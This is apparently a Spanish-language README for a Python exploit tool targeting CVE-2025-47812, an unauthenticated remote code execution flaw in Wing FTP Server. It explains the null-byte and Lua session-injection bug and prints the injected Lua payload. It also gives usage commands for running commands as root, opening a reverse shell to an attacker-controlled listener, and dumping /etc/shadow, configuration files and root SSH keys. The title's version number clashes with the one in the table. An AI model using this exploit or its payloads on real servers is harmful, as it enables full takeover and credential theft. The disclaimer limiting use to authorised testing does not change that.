
RCE para WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Campo | Detalle |
|---|---|
| CVE | CVE-2025-47812 |
| Afectado | Wing FTP Server <= 7.4.3 |
| Corregido | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Crítico) |
| Autenticación requerida | Ninguna (inicio de sesión anónimo suficiente) |
| Privilegio obtenido | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Descubierto por | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
La interfaz web de Wing FTP Server es vulnerable a un ataque de ejecución remota de código en dos etapas sin autenticación previa.
La función c_CheckUser() en el binario de Wing FTP utiliza strlen() internamente, lo que trunca la cadena del nombre de usuario en el primer byte nulo (\x00). Esto significa que un nombre de usuario como anonymous%00<datos_arbitrarios> pasa la autenticación siempre que anonymous (o cualquier usuario válido) exista.
Después de que la autenticación se completa, loginok.html llama a rawset(_SESSION, "username", username) usando el parámetro POST completo sin sanitizar — incluyendo todo después del byte nulo. La sesión se serializa luego a un archivo de script Lua en disco mediante SessionModule.save().
Dado que la función de serialización envuelve los valores de cadena en literales de cadena larga de Lua [[...]] sin ninguna sanitización, inyectar ]] en el nombre de usuario termina el literal de cadena prematuramente, permitiendo añadir código Lua arbitrario al archivo de sesión.
Estructura del payload:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
El -- final comenta el ]] que Wing FTP añade después del valor.
El archivo de sesión (nombrado según el valor de la cookie UID) es un script Lua que se ejecuta mediante loadfile() + f() cada vez que se accede a cualquier endpoint autenticado. Enviar POST /dir.html con la cookie UID ejecuta el Lua inyectado y devuelve la salida del comando en el cuerpo de la respuesta, antes del contenido <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Comando único
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Apuntar por IP (Wing FTP usa enrutamiento por virtual-host — proporcione el nombre de host con --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Pseudo-shell interactiva
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (iniciar listener de nc por separado)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell con listener incorporado
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Volcar archivos sensibles (/etc/passwd, /etc/shadow, Wing.cfg, clave SSH de root)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# Con credenciales no anónimas
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Actualice Wing FTP Server a la versión 7.4.4 o posterior.
Esta herramienta se proporciona únicamente con fines educativos y pruebas de penetración autorizadas. Ejecutar este exploit contra sistemas que no posee o para los cuales no tiene permiso explícito por escrito es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso.